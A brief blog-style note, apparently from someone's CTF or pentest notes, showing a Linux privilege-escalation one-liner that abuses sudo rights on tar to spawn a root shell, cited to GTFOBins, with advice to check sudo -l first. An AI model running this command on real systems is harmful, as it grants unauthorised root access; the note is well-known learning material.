🌊 Privilege Escalation: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
source: https://gtfobins.github.io/gtfobins/tar/
This does the privelege escalation. sudo -l is recommended to do first see what the user can run (e.g. a different user or root). For this case, we found that we can run tar as root.
Comments
Post a Comment